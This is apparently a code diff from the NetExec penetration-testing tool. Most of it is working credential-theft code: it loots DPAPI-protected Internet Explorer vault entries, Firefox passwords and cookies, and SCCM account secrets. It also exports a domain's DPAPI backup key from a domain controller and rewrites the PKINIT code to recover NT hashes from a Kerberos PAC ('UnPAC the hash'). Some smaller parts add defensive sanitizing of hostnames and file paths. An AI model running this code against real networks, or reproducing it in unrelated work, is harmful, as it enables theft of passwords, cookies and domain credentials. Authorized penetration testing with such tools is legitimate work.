self.connection.logger.debug(f"Error while looting browsers: {e}")
def triage_vaults(self, masterkeys: list[Masterkey]):
def vault_callback(secret):
tag = "IEX"
if secret.type == "Internet Explorer":
resource = secret.resource + " -" if secret.resource != "" else "-"
line = f"[{secret.winuser}][{tag}] {resource} - {secret.username}:{secret.password}"
self.log_secret(line)
self.connection.db.add_dpapi_secrets(
self.target.address,
tag,
secret.winuser,
secret.username,
secret.password,
secret.resource,
)
try:
# Collect User Internet Explorer stored secrets
vaults_triage = VaultsTriage(target=self.target, conn=self.conn, masterkeys=masterkeys, per_vault_callback=vault_callback)
vaults_triage.triage_vaults()
except Exception as e:
self.connection.logger.debug(f"Error while looting vaults: {e}")
def triage_firefox(self):
def firefox_callback(secret):
tag = "FIREFOX"
if isinstance(secret, FirefoxData):
url = secret.url + " -" if secret.url != "" else "-"
line = f"[{secret.winuser}][{tag}] {url} {secret.username}:{secret.password}"
self.log_secret(line)
self.connection.db.add_dpapi_secrets(
self.target.address,
tag,
secret.winuser,
secret.username,
secret.password,
secret.url,
)
elif isinstance(secret, FirefoxCookie):
line = f"[{secret.winuser}][{tag}] {secret.host}{secret.path} {secret.cookie_name}:{secret.cookie_value}"
self.log_secret(line)
try:
# Collect Firefox stored secrets
firefox_triage = FirefoxTriage(target=self.target, logger=self.connection.logger, conn=self.conn, per_secret_callback=firefox_callback)
firefox_triage.run(gather_cookies=self.dump_cookies)
except Exception as e:
self.logger.debug(f"Error while looting firefox: {e}")
# The dpapi function for every protocol
def triage_dpapi(self):
# Load masterkeys
masterkeys = self.collect_masterkeys_from_target(dump_users=True, dump_system="nosystem" not in self.connection.args.dpapi)
if len(masterkeys) == 0:
# Nothing will be recovered if no masterkeys, so we can stop there
self.connection.logger.fail("No masterkeys looted")
return
self.connection.logger.success("Looting secrets...")
# Calling all the triage functions. We can add other triage functions here
self.triage_credentials(masterkeys)
self.triage_chromium(masterkeys)
self.triage_vaults(masterkeys)
self.triage_firefox()
def triage_sccm(self):
masterkeys = self.collect_masterkeys_from_target(dump_users=False, dump_system=True)
if len(masterkeys) == 0:
self.connection.logger.fail("No masterkeys looted")
return
self.connection.logger.success("Looting SCCM Credentials")
def sccm_callback(secret):
if isinstance(secret, SCCMCred):
tag = "NAA Account"
line = f"[{tag}] {secret.username.decode('latin-1')}:{secret.password.decode('latin-1')}"
self.log_secret(line)
self.connection.db.add_dpapi_secrets(
self.target.address,
f"SCCM - {tag}",
"SYSTEM",
secret.username.decode("latin-1"),
secret.password.decode("latin-1"),
"N/A",
)
elif isinstance(secret, SCCMSecret):
tag = "Task sequences secret"
line = f"[{tag}] {secret.secret.decode('latin-1')}"
self.log_secret(line)
self.connection.db.add_dpapi_secrets(
self.target.address,
f"SCCM - {tag}",
"SYSTEM",
"N/A",
secret.secret.decode("latin-1"),
"N/A",
)
elif isinstance(secret, SCCMCollection):
tag = "Collection Variable"
line = f"[{tag}] {secret.variable.decode('latin-1')}:{secret.value.decode('latin-1')}"
self.log_secret(line)
self.connection.db.add_dpapi_secrets(
self.target.address,
f"SCCM - {tag}",
"SYSTEM",
secret.variable.decode("latin-1"),
secret.value.decode("latin-1"),
"N/A",
)
try:
sccm_triage = SCCMTriage(target=self.target, conn=self.conn, masterkeys=masterkeys, per_secret_callback=sccm_callback)
sccm_triage.triage_sccm()
except Exception as e:
self.logger.debug(f"Error while looting sccm: {e}")
@property
def pvkbytes(self):
"""
The pvkbytes. If not already initialized, tries to set it
The precedence order is the following :
- Check the pvk argument
- Checks in the DB
- Get it from a domain controller
"""
# pvkbytes already loaded and in cache ? Serve it
if self._pvkbytes is not None:
return self._pvkbytes
pvkbytes = None
# First check the pvk argument and handle it
if self.connection.args.pvk is not None:
try:
with open(self.connection.args.pvk, "rb") as fd:
pvkbytes = fd.read()
self.connection.logger.success(f"Loading domain backupkey from {self.connection.args.pvk}")
except Exception as e:
self.connection.logger.fail(str(e))
# If no pvkbytes yet, then we check in the DB
if pvkbytes is None:
try:
results = self.connection.db.get_domain_backupkey(self.connection.domain)
except Exception:
self.connection.logger.fail("Your version of nxcdb is not up to date, run nxcdb and create a new workspace: 'workspace create dpapi' then re-run the dpapi option")
return False
if len(results) > 0:
self.connection.logger.success("Loading domain backupkey from nxcdb...")
pvkbytes = results[0][2]
# If no pvkbytes yet, then we can try to get it from a domain controller
if pvkbytes is None and self.connection.no_da is None and self.connection.args.local_auth is False:
try:
dc_target = SMBTarget.create(
domain=self.connection.domain,
username=self.connection.username,
password=self.connection.password,
address=self.connection.kdcHost, # querying DNS server for domain will return DC
lmhash=self.connection.lmhash,
nthash=self.connection.nthash,
do_kerberos=self.connection.kerberos,
aesKey=self.connection.aesKey,
use_kcache=self.connection.use_kcache,
)
dc_conn = DPLootSMBConnection(dc_target)
dc_conn.connect() # Connect to DC
if dc_conn.is_admin():
self.connection.logger.success("User is Domain Administrator, exporting domain backupkey...")
backupkey_triage = BackupkeyTriage(target=dc_target, conn=dc_conn)
backupkey = backupkey_triage.triage_backupkey()
pvkbytes = backupkey.backupkey_v2
self.connection.db.add_domain_backupkey(self.connection.domain, pvkbytes)
else:
self.connection.no_da = False
except Exception as e:
self.connection.logger.fail(f"Could not get domain backupkey: {e}")
self._pvkbytes = pvkbytes
return self._pvkbytes
@@ -11,9 +11,8 @@ from dataclasses import dataclass
from typing import Any
from Cryptodome.Cipher import AES, DES3
from pyasn1.codec.der import decoder
from dploot.lib.smb import DPLootSMBConnection
from dploot.lib.network import DPLootConnection
from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection
CKA_ID = unhexlify("f8000000000000000000000000000001")
@@ -61,7 +60,7 @@ class FirefoxTriage:
"All Users",
)
def __init__(self, target, logger, conn: DPLootSMBConnection = None, per_secret_callback: Any = None):
def __init__(self, target, logger, conn: DPLootConnection = None, per_secret_callback: Any = None):
self.target = target
self.logger = logger
self.conn = conn
@@ -69,16 +68,13 @@ class FirefoxTriage:
self.per_secret_callback = per_secret_callback
def run(self, gather_cookies=False):
if self.conn is None:
upgrade_to_dploot_connection(target=self.target)
firefox_data = []
firefox_cookies = []
# list users
users = self.get_users()
users = self.conn.list_users()
for user in users:
try:
directories = self.conn.remote_list_dir(share=self.share, path=self.firefox_generic_path.format(user))
directories = self.conn.list_dir(share=self.share, path=self.firefox_generic_path.format(user))
except Exception as e:
if "STATUS_OBJECT_PATH_NOT_FOUND" in str(e):
continue
@@ -89,18 +85,18 @@ class FirefoxTriage:
try:
if gather_cookies:
cookies_path = ntpath.join(self.firefox_generic_path.format(user), d.get_longname(), "cookies.sqlite")
cookies_data = self.conn.readFile(self.share, cookies_path)
cookies_data = self.conn.read_file(path=cookies_path, share=self.share)
if cookies_data is not None:
firefox_cookies += self.parse_cookie_data(user, cookies_data)
logins_path = self.firefox_generic_path.format(user) + "\\" + d.get_longname() + "\\logins.json"
logins_data = self.conn.readFile(self.share, logins_path)
logins_data = self.conn.read_file(path=logins_path, share=self.share)
if logins_data is None:
continue # No logins.json file found
logins = self.get_login_data(logins_data=logins_data)
if len(logins) == 0:
continue # No logins profile found
key4_path = self.firefox_generic_path.format(user) + "\\" + d.get_longname() + "\\key4.db"
key4_data = self.conn.readFile(self.share, key4_path)
key4_data = self.conn.read_file(path=key4_path, share=self.share)
if key4_data is None:
continue
# Get all available master keys (Firefox 144+ may have multiple keys)
@@ -252,17 +248,6 @@ class FirefoxTriage:
self.logger.debug(e)
return "", "", ""
def get_users(self):
users = []
users_dir_path = "Users\\*"
directories = self.conn.listPath(shareName=self.share, path=ntpath.normpath(users_dir_path))
for d in directories:
if d.get_longname() not in self.false_positive and d.is_directory() > 0:
users.append(d.get_longname()) # ruff: ignore[manual-list-comprehension], ignoring for readability
return users
@staticmethod
def decode_login_data(data):
asn1data = decoder.decode(b64decode(data))
+88
View File
@@ -1,9 +1,12 @@
from contextlib import suppress
from enum import Enum
import hashlib
import random
import string
import re
import inspect
import os
from unicodedata import normalize
from termcolor import colored
from ipaddress import ip_address
from nxc.logger import nxc_logger
@@ -26,6 +29,91 @@ def gen_random_string(length=10):
return "".join(random.sample(string.ascii_letters, int(length)))
def sanitize_dns(hostname, logger=nxc_logger):
"""Return an untrusted hostname or domain as a safe, nonempty string."""
# Always provide a safe fallback, even for missing or unstringable input.
if hostname is None:
return "_"
try:
hostname = hostname.decode("utf-8", errors="surrogateescape") if isinstance(hostname, bytes) else str(hostname)
except Exception:
return "_"
if not hostname:
return "_"
# Replace path, configuration, formatting, whitespace, and control characters.
unsafe_characters = '<>:"/\\|?*{}[]=#;\'' # Portable paths, format strings, hosts files, and krb5.conf
sanitized = "".join(
character if character.isprintable()
and not character.isspace()
and character not in unsafe_characters
and all(
normalized_character.isprintable()
and not normalized_character.isspace()
and normalized_character not in unsafe_characters
for normalized_character in normalize("NFKC", character)
)
else "_"
for character in hostname
)
# Neutralize traversal segments and Windows-trimmed trailing dots.
if normalize("NFKC", sanitized) in (".", ".."):
sanitized = "_" * len(sanitized)
if sanitized.endswith(".") or normalize("NFKC", sanitized[-1]).endswith("."):
sanitized = f"{sanitized[:-1]}_"
# Bound filename length while retaining a stable identifier for long names.
if len(sanitized.encode("utf-8")) > 253:
suffix = f"_{hashlib.sha256(hostname.encode('utf-8', errors='surrogatepass')).hexdigest()[:12]}"
byte_length = 0
truncated = []
for character in sanitized:
character_length = len(character.encode("utf-8"))
if byte_length + character_length > 253 - len(suffix):
break
truncated.append(character)
byte_length += character_length
sanitized = f"{''.join(truncated)}{suffix}"
# Fail closed if a future change violates any output invariant.
normalized = normalize("NFKC", sanitized)
if (
not sanitized
or not normalized
or len(sanitized.encode("utf-8")) > 253
or normalized in (".", "..")
or normalized.endswith(".")
or any(
not character.isprintable()
or character.isspace()
or character in unsafe_characters
or any(
not normalized_character.isprintable()
or normalized_character.isspace()
or normalized_character in unsafe_characters
for normalized_character in normalize("NFKC", character)
)
for character in sanitized
)
):
sanitized = "_"
# Report changed input without allowing logging failures to affect safety.
if sanitized != hostname:
received = ascii(hostname[:256])
result = ascii(sanitized)
if len(hostname) > 256 or len(received) > 256:
received = f"{received[:253]}..."
if len(result) > 256:
result = f"{result[:253]}..."
if logger is not None:
with suppress(Exception):
logger.fail(f"Unsafe hostname or domain received: {received}; using {result}")
return sanitized
def validate_ntlm(data):
allowed = re.compile(r"^[0-9a-f]{32}", re.IGNORECASE)
return bool(allowed.match(data))
+4
View File
@@ -12,6 +12,7 @@ import contextlib
def parse_challenge(challange):
target_info = {
"hostname": None,
"dns_hostname": None,
"domain": None,
"os_version": None
}
@@ -20,6 +21,9 @@ def parse_challenge(challange):
if av_pairs[ntlm.NTLMSSP_AV_HOSTNAME] is not None:
with contextlib.suppress(Exception):
target_info["hostname"] = av_pairs[ntlm.NTLMSSP_AV_HOSTNAME][1].decode("utf-16le")
if av_pairs[ntlm.NTLMSSP_AV_DNS_HOSTNAME] is not None:
with contextlib.suppress(Exception):
target_info["dns_hostname"] = av_pairs[ntlm.NTLMSSP_AV_DNS_HOSTNAME][1].decode("utf-16le")
if av_pairs[ntlm.NTLMSSP_AV_DNS_DOMAINNAME] is not None:
with contextlib.suppress(Exception):
target_info["domain"] = av_pairs[ntlm.NTLMSSP_AV_DNS_DOMAINNAME][1].decode("utf-16le")
+107
View File
@@ -0,0 +1,107 @@
import hashlib
from pathlib import PurePosixPath
import re
from unicodedata import normalize
def sanitize_path_component(name, max_bytes=255):
"""Return one portable, bounded path component from untrusted input."""
# Reserve enough space for one character and the collision-resistant suffix.
if max_bytes < 14:
raise ValueError("max_bytes must be at least 14")
# Always provide a safe fallback, even for missing or unstringable input.
try:
name = name.decode("utf-8", errors="surrogateescape") if isinstance(name, bytes) else str(name) if name is not None else ""
except Exception:
name = ""
if not name:
return "_"
# Replace path, control, and Unicode-equivalent metacharacters.
unsafe_characters = '<>:"/\\|?*' # Portable filename metacharacters
sanitized = "".join(
character if character.isprintable()
and character not in unsafe_characters
and all(
normalized_character.isprintable() and normalized_character not in unsafe_characters
for normalized_character in normalize("NFKC", character)
)
else "_"
for character in name
)
# Neutralize traversal-only names and Windows-trimmed trailing dots or spaces.
if normalize("NFKC", sanitized) in (".", ".."):
sanitized = "_" * len(sanitized)
while sanitized and (
sanitized[-1] == "."
or sanitized[-1].isspace()
or normalize("NFKC", sanitized[-1]).endswith(".")
or any(character.isspace() for character in normalize("NFKC", sanitized[-1]))
):
sanitized = f"{sanitized[:-1]}_"
# Avoid Windows device names, including names followed by an extension.
normalized_stem = normalize("NFKC", sanitized).split(".", 1)[0].rstrip(" ").upper()
if normalized_stem in {"CON", "PRN", "AUX", "NUL", "CLOCK$", "CONIN$", "CONOUT$"} or re.fullmatch(r"(?:COM|LPT)[1-9]", normalized_stem):
sanitized = f"_{sanitized}"
# Bound the byte length with a stable digest while preserving short extensions.
if len(sanitized.encode("utf-8")) > max_bytes:
digest = f"_{hashlib.sha256(name.encode('utf-8', errors='surrogatepass')).hexdigest()[:12]}"
extension = ""
extension_index = sanitized.rfind(".")
if (
extension_index > 0
and len(sanitized[extension_index:].encode("utf-8")) <= 32
and len(sanitized[extension_index:].encode("utf-8")) <= max_bytes - len(digest)
):
extension = sanitized[extension_index:]
sanitized = sanitized[:extension_index]
byte_length = 0
truncated = []
for character in sanitized:
character_length = len(character.encode("utf-8"))
if byte_length + character_length > max_bytes - len(digest) - len(extension.encode("utf-8")):
break
truncated.append(character)
byte_length += character_length
sanitized = f"{''.join(truncated)}{digest}{extension}"
# Fail closed if a future change violates any output invariant.
normalized = normalize("NFKC", sanitized)
normalized_stem = normalized.split(".", 1)[0].rstrip(" ").upper()
if (
not sanitized
or not normalized
or len(sanitized.encode("utf-8")) > max_bytes
or normalized in (".", "..")
or normalized.endswith(".")
or normalized[-1].isspace()
or normalized_stem in {"CON", "PRN", "AUX", "NUL", "CLOCK$", "CONIN$", "CONOUT$"}
or re.fullmatch(r"(?:COM|LPT)[1-9]", normalized_stem)
or any(
not character.isprintable()
or character in unsafe_characters
or any(
not normalized_character.isprintable() or normalized_character in unsafe_characters
for normalized_character in normalize("NFKC", character)
)
for character in sanitized
)
):
return "_"
return sanitized
def sanitize_filename(name: str) -> str:
"""Strip path traversal components from an SMB filename.
Follows the pattern from spider_plus.py — filters '..' and '.' from
PurePosixPath.parts to prevent directory traversal attacks from
malicious SMB servers.
"""
parts = PurePosixPath(name.replace("\\", "/")).parts
clean = [p for p in parts if p not in ("..", ".", "/")]
return str(PurePosixPath(*clean)) if clean else ""
+185 -539
View File
@@ -1,570 +1,216 @@
# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Author:
# Alberto Solino (@agsolino)
# Dirk-jan Mollema (@_dirkjan)
#
# Description:
# This script will use an existing TGT to request a PAC for the current user using U2U.
# When the TGT was obtained using PKINIT, the resulting PAC will contain the NT hash which can be
# used for silver tickets and for backwards compatibility with other tooling.
# Certificate authentication for nxc: PKINIT (RFC 4556) through impacket, plus UnPAC the hash
#
# References:
#
# PKINIT: https://www.rfc-editor.org/rfc/rfc4556
# U2U: https://tools.ietf.org/html/draft-ietf-cat-user2user-02
#
# Based on examples from minikerberos by skelsec
# Parts of this code was inspired by the following project by @rubin_mor
# https://github.com/morRubin/AzureADJoinedMachinePTC
#
# Author:
# Tamas Jos (@skelsec)
# Dirk-jan Mollema (@_dirkjan)
#
# Authors:
# Azox (@azoxlpf) for the PKINIT implementation, in impacket and in nxc
# Dirk-jan Mollema (@_dirkjan) for the original UnPAC the hash implementation
import os
import secrets
import hashlib
import datetime
import random
import base64
import datetime
import os
import random
import tempfile
from binascii import unhexlify, hexlify
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import padding, rsa
from cryptography.hazmat.primitives.serialization import pkcs12
from cryptography.x509 import load_pem_x509_certificate, load_der_x509_certificate
from asn1crypto import cms
from asn1crypto import algos
from asn1crypto import core
from asn1crypto import keys
from asn1crypto import x509
from minikerberos.protocol.dirtydh import DirtyDH
from minikerberos.protocol.constants import NAME_TYPE, PaDataType
from minikerberos.protocol.encryption import Enctype, _enctype_table, Key
from minikerberos.protocol.asn1_structs import KDC_REQ_BODY, PrincipalName, KDCOptions, EncASRepPart, AS_REQ, PADATA_TYPE, PA_PAC_REQUEST
from minikerberos.protocol.rfc4556 import PKAuthenticator, AuthPack, PA_PK_AS_REP, KDCDHKeyInfo, PA_PK_AS_REQ
from binascii import hexlify
from pyasn1.codec.der import decoder, encoder
from pyasn1.error import PyAsn1Error
from pyasn1.type.univ import noValue
from impacket.dcerpc.v5.rpcrt import TypeSerialization1
from impacket.krb5 import constants
from impacket.krb5.asn1 import AP_REQ, AS_REP, TGS_REQ, Authenticator, TGS_REP, seq_set, seq_set_iter, EncTicketPart, AD_IF_RELEVANT, Ticket as TicketAsn1
from impacket.krb5.kerberosv5 import sendReceive
from impacket.krb5.pac import PACTYPE, PAC_INFO_BUFFER, PAC_CREDENTIAL_INFO, \
PAC_CREDENTIAL_DATA, NTLM_SUPPLEMENTAL_CREDENTIAL
from impacket.krb5.types import Principal, KerberosTime, Ticket
from impacket.krb5.asn1 import AD_IF_RELEVANT, AP_REQ, AS_REP, Authenticator, EncTicketPart, TGS_REP, TGS_REQ, Ticket as TicketAsn1, seq_set, seq_set_iter
from impacket.krb5.ccache import CCache
from impacket.krb5.crypto import InvalidChecksum, _enctype_table
from impacket.krb5.kerberosv5 import KerberosError, sendReceive
from impacket.krb5.pac import NTLM_SUPPLEMENTAL_CREDENTIAL, PACTYPE, PAC_CREDENTIAL_DATA, PAC_CREDENTIAL_INFO, PAC_INFO_BUFFER
from impacket.krb5.pkinit import PKINITCredentials, PKINITError, getKerberosTGTPKINIT
from impacket.krb5.types import KerberosTime, Principal, Ticket
# Imports for pfx_auth
from minikerberos.network.clientsocket import KerberosClientSocket
from minikerberos.common.target import KerberosTarget
from minikerberos.common.ccache import CCACHE
from impacket.krb5.ccache import CCache as impacket_CCache
from nxc.paths import NXC_PATH
from nxc.logger import nxc_logger
from nxc.helpers.path import sanitize_path_component
from nxc.paths import NXC_PATH, TMP_PATH
def _load_asn1_certificate(data):
"""Load a certificate as an asn1crypto object, accepting both PEM and DER input
def pkinit_credentials(args):
"""Load the client certificate and its private key as the PKINIT credentials impacket expects"""
if args.pfx_cert:
return PKINITCredentials.fromPFX(args.pfx_cert, args.pfx_pass)
The certificate is parsed by cryptography and re-encoded, so that malformed input is
rejected here instead of failing later inside asn1crypto, which parses lazily
if args.pfx_base64:
with open(args.pfx_base64, "rb") as pfx_base64_file:
pfxdata = base64.b64decode(pfx_base64_file.read())
return PKINITCredentials.fromPFXData(pfxdata, args.pfx_pass, source=f"the base64 PFX file {args.pfx_base64}")
if args.pem_cert and args.pem_key:
return PKINITCredentials.fromPEM(args.pem_cert, args.pem_key, args.pfx_pass)
return None
def read_nt_hash_from_pac(connection, enc_ticket_part, reply_key):
"""Return the NT hash held by the PAC_CREDENTIAL_INFO of a ticket, or None when the PAC carries none"""
decoded_ticket_part = decoder.decode(enc_ticket_part, asn1Spec=EncTicketPart())[0]
ad_if_relevant = decoder.decode(decoded_ticket_part["authorization-data"][0]["ad-data"], asn1Spec=AD_IF_RELEVANT())[0]
pac_type = PACTYPE(ad_if_relevant[0]["ad-data"].asOctets())
buffers = pac_type["Buffers"]
for _ in range(pac_type["cBuffers"]):
info_buffer = PAC_INFO_BUFFER(buffers)
buffers = buffers[len(info_buffer):]
connection.logger.debug(f"PAC buffer type {info_buffer['ulType']}")
if info_buffer["ulType"] != 2: # PAC_CREDENTIAL_INFO
continue
credential_info = PAC_CREDENTIAL_INFO(pac_type["Buffers"][info_buffer["Offset"] - 8:][:info_buffer["cbBufferSize"]])
cipher = _enctype_table[credential_info["EncryptionType"]]
# Key usage 16: the PAC credential info, encrypted with the AS reply key
credential_data = cipher.decrypt(reply_key, 16, credential_info["SerializedData"])
serialization_header = TypeSerialization1(credential_data)
# Skip the 4 bytes of the ReferentID of the pointer following the header
credentials = PAC_CREDENTIAL_DATA(credential_data[len(serialization_header) + 4:])
for credential in credentials["Credentials"]:
supplemental_credential = NTLM_SUPPLEMENTAL_CREDENTIAL(b"".join(credential["Credentials"]))
return hexlify(supplemental_credential["NtPassword"]).decode()
connection.logger.fail("The PAC holds no PAC_CREDENTIAL_INFO: the account has no NT hash stored, or the TGT did not come from PKINIT")
return None
def unpac_the_hash(connection, username, tgt, cipher, reply_key, session_key):
"""Recover the NT hash of the account the TGT belongs to, through a U2U service ticket to itself
Only a PKINIT AS-REP carries a PAC_CREDENTIAL_INFO, and the KDC encrypts it with the AS reply key,
which the TGT does not expose: it has to be read from a ticket requested with that very TGT.
Returns None, after logging why, when the hash cannot be recovered
"""
cert = load_pem_x509_certificate(data) if b"-----BEGIN" in data else load_der_x509_certificate(data)
return _to_asn1_certificate(cert)
def _to_asn1_certificate(cert):
"""Convert a cryptography certificate to the asn1crypto object the CMS structures need"""
return x509.Certificate.load(cert.public_bytes(serialization.Encoding.DER))
def _check_rsa_privkey(privkey):
"""PKINIT signing here is RSA PKCS#1 v1.5 only, so reject anything else early"""
if not isinstance(privkey, rsa.RSAPrivateKey):
raise Exception(f"PKINIT requires an RSA private key, got {type(privkey).__name__}")
return privkey
class myPKINIT:
"""
Copy of minikerberos PKINIT
With some changes where it differs from PKINIT used in NegoEx
This does not subclass minikerberos.pkinit.PKINIT on purpose: that module imports oscrypto,
which fails at import time on any OpenSSL whose version has a two digit component
"""
def __init__(self):
self.privkey = None
self.certificate = None
self.issuer = None
self.cname = None
self.diffie = None
@staticmethod
def from_pfx(pfxfile, pfxpass, dh_params=None, b64=False):
with open(pfxfile, "rb") as f:
pfxdata = f.read()
if b64:
pfxdata = base64.b64decode(pfxdata)
return myPKINIT.from_pfx_data(pfxdata, pfxpass, dh_params)
@staticmethod
def from_pfx_data(pfxdata, pfxpass, dh_params=None):
pkinit = myPKINIT()
if isinstance(pfxpass, str):
pfxpass = pfxpass.encode()
# cryptography requires None (not an empty password) for a pfx without password
privkey, cert, _ = pkcs12.load_key_and_certificates(pfxdata, pfxpass if pfxpass else None)
# a pfx holding only a certificate parses fine, so check the key before the certificate
if privkey is None:
raise Exception("No private key found in the PFX file")
if cert is None:
raise Exception("No certificate found in the PFX file")
pkinit.privkey = _check_rsa_privkey(privkey)
pkinit.certificate = _to_asn1_certificate(cert)
pkinit.setup(dh_params=dh_params)
return pkinit
@staticmethod
def from_pem(certfile, privkeyfile, dh_params=None):
pkinit = myPKINIT()
with open(certfile, "rb") as f:
pkinit.certificate = _load_asn1_certificate(f.read())
with open(privkeyfile, "rb") as f:
keydata = f.read()
try:
try:
privkey = serialization.load_pem_private_key(keydata, password=None)
except ValueError:
privkey = serialization.load_der_private_key(keydata, password=None)
except TypeError as e:
# raised by both loaders when the key is encrypted and no password was given
raise Exception(f"Private key {privkeyfile} is password protected, which is not supported. Decrypt it first with: openssl rsa -in {privkeyfile} -out decrypted.pem") from e
pkinit.privkey = _check_rsa_privkey(privkey)
pkinit.setup(dh_params=dh_params)
return pkinit
def sign_authpack(self, data, wrap_signed=False):
return self.sign_authpack_native(data, wrap_signed)
def setup(self, dh_params=None):
self.issuer = self.certificate.issuer.native["common_name"]
if dh_params is None:
nxc_logger.display("Generating DH params...")
nxc_logger.display("DH params generated.")
else:
if isinstance(dh_params, dict):
self.diffie = DirtyDH.from_dict(dh_params)
elif isinstance(dh_params, bytes):
self.diffie = DirtyDH.from_asn1(dh_params)
elif isinstance(dh_params, DirtyDH):
self.diffie = dh_params
else:
raise Exception("DH params must be either a bytearray or a dict")
def build_asreq(self, domain=None, cname=None, kdcopts=None):
if kdcopts is None:
kdcopts = ["forwardable", "renewable", "renewable-ok"]
if isinstance(kdcopts, list):
kdcopts = set(kdcopts)
if cname is not None:
if isinstance(cname, str):
cname = [cname]
else:
cname = [self.cname]
now = datetime.datetime.now(datetime.timezone.utc)
kdc_req_body_data = {}
kdc_req_body_data["kdc-options"] = KDCOptions(kdcopts)
kdc_req_body_data["cname"] = PrincipalName({"name-type": NAME_TYPE.PRINCIPAL.value, "name-string": cname})
kdc_req_body_data["realm"] = domain.upper()
kdc_req_body_data["sname"] = PrincipalName({"name-type": NAME_TYPE.SRV_INST.value, "name-string": ["krbtgt", domain.upper()]})
kdc_req_body_data["till"] = (now + datetime.timedelta(days=1)).replace(microsecond=0)
kdc_req_body_data["rtime"] = (now + datetime.timedelta(days=1)).replace(microsecond=0)
kdc_req_body_data["nonce"] = secrets.randbits(31)
kdc_req_body_data["etype"] = [18, 17] # 23 breaks...
kdc_req_body = KDC_REQ_BODY(kdc_req_body_data)
checksum = hashlib.sha1(kdc_req_body.dump()).digest()
authenticator = {}
authenticator["cusec"] = now.microsecond
authenticator["ctime"] = now.replace(microsecond=0)
authenticator["nonce"] = secrets.randbits(31)
authenticator["paChecksum"] = checksum
dp = {}
dp["p"] = self.diffie.p
dp["g"] = self.diffie.g
dp["q"] = 0 # mandatory parameter, but it is not needed
pka = {}
pka["algorithm"] = "1.2.840.10046.2.1"
pka["parameters"] = keys.DomainParameters(dp)
spki = {}
spki["algorithm"] = keys.PublicKeyAlgorithm(pka)
spki["public_key"] = self.diffie.get_public_key()
authpack = {}
authpack["pkAuthenticator"] = PKAuthenticator(authenticator)
authpack["clientPublicValue"] = keys.PublicKeyInfo(spki)
authpack["clientDHNonce"] = self.diffie.dh_nonce
authpack = AuthPack(authpack)
signed_authpack = self.sign_authpack(authpack.dump(), wrap_signed=True)
payload = PA_PK_AS_REQ()
payload["signedAuthPack"] = signed_authpack
pa_data_1 = {}
pa_data_1["padata-type"] = PaDataType.PK_AS_REQ.value
pa_data_1["padata-value"] = payload.dump()
pa_data_0 = {}
pa_data_0["padata-type"] = int(PADATA_TYPE("PA-PAC-REQUEST"))
pa_data_0["padata-value"] = PA_PAC_REQUEST({"include-pac": True}).dump()
asreq = {}
asreq["pvno"] = 5
asreq["msg-type"] = 10
asreq["padata"] = [pa_data_0, pa_data_1]
asreq["req-body"] = kdc_req_body
return AS_REQ(asreq).dump()
def sign_authpack_native(self, data, wrap_signed=False):
"""
Creating PKCS7 blob which contains the following things:
1. 'data' blob which is an ASN1 encoded "AuthPack" structure
2. the certificate used to sign the data blob
3. the singed 'signed_attrs' structure (ASN1) which points to the "data" structure (in point 1)
"""
da = {}
da["algorithm"] = algos.DigestAlgorithmId("1.3.14.3.2.26") # for sha1
si = {}
si["version"] = "v1"
si["sid"] = cms.IssuerAndSerialNumber({
"issuer": self.certificate.issuer,
"serial_number": self.certificate.serial_number,
})
si["digest_algorithm"] = algos.DigestAlgorithm(da)
si["signed_attrs"] = [
cms.CMSAttribute({"type": "content_type", "values": ["1.3.6.1.5.2.3.1"]}), # indicates that the encap_content_info's authdata struct (marked with OID '1.3.6.1.5.2.3.1' is signed )
cms.CMSAttribute({"type": "message_digest", "values": [hashlib.sha1(data).digest()]}), # hash of the data, the data itself will not be signed, but this block of data will be.
]
si["signature_algorithm"] = algos.SignedDigestAlgorithm({"algorithm": "1.2.840.113549.1.1.1"})
si["signature"] = self.privkey.sign(cms.CMSAttributes(si["signed_attrs"]).dump(), padding.PKCS1v15(), hashes.SHA1())
ec = {}
ec["content_type"] = "1.3.6.1.5.2.3.1"
ec["content"] = data
sd = {}
sd["version"] = "v3"
sd["digest_algorithms"] = [algos.DigestAlgorithm(da)] # must have only one
sd["encap_content_info"] = cms.EncapsulatedContentInfo(ec)
sd["certificates"] = [self.certificate]
sd["signer_infos"] = cms.SignerInfos([cms.SignerInfo(si)])
if wrap_signed is True:
ci = {}
ci["content_type"] = "1.2.840.113549.1.7.2" # signed data OID
ci["content"] = cms.SignedData(sd)
return cms.ContentInfo(ci).dump()
return cms.SignedData(sd).dump()
def decrypt_asrep(self, as_rep):
def truncate_key(value, keysize):
output = b""
currentNum = 0
while len(output) < keysize:
currentDigest = hashlib.sha1(bytes([currentNum]) + value).digest()
if len(output) + len(currentDigest) > keysize:
output += currentDigest[:keysize - len(output)]
break
output += currentDigest
currentNum += 1
return output
for pa in as_rep["padata"]:
if pa["padata-type"] == 17:
pkasrep = PA_PK_AS_REP.load(pa["padata-value"]).native
break
else:
raise Exception("PA_PK_AS_REP not found!")
ci = cms.ContentInfo.load(pkasrep["dhSignedData"]).native
sd = ci["content"]
keyinfo = sd["encap_content_info"]
if keyinfo["content_type"] != "1.3.6.1.5.2.3.2":
raise Exception("Keyinfo content type unexpected value")
authdata = KDCDHKeyInfo.load(keyinfo["content"]).native
pubkey = int("".join(["1"] + [str(x) for x in authdata["subjectPublicKey"]]), 2)
pubkey = int.from_bytes(core.BitString(authdata["subjectPublicKey"]).dump()[7:], "big", signed=False)
shared_key = self.diffie.exchange(pubkey)
server_nonce = pkasrep["serverDHNonce"]
fullKey = shared_key + self.diffie.dh_nonce + server_nonce
etype = as_rep["enc-part"]["etype"]
cipher = _enctype_table[etype]
if etype == Enctype.AES256:
t_key = truncate_key(fullKey, 32)
elif etype == Enctype.AES128:
t_key = truncate_key(fullKey, 16)
elif etype == Enctype.RC4:
raise NotImplementedError("RC4 key truncation documentation missing. it is different from AES")
key = Key(cipher.enctype, t_key)
enc_data = as_rep["enc-part"]["cipher"]
nxc_logger.info("AS-REP encryption key (you might need this later):")
nxc_logger.info(hexlify(t_key).decode("utf-8"))
dec_data = cipher.decrypt(key, 3, enc_data)
encasrep = EncASRepPart.load(dec_data).native
cipher = _enctype_table[int(encasrep["key"]["keytype"])]
session_key = Key(cipher.enctype, encasrep["key"]["keyvalue"])
return encasrep, session_key, cipher, hexlify(t_key).decode("utf-8")
class GETPAC:
def printPac(self, data, key=None):
nthash = None
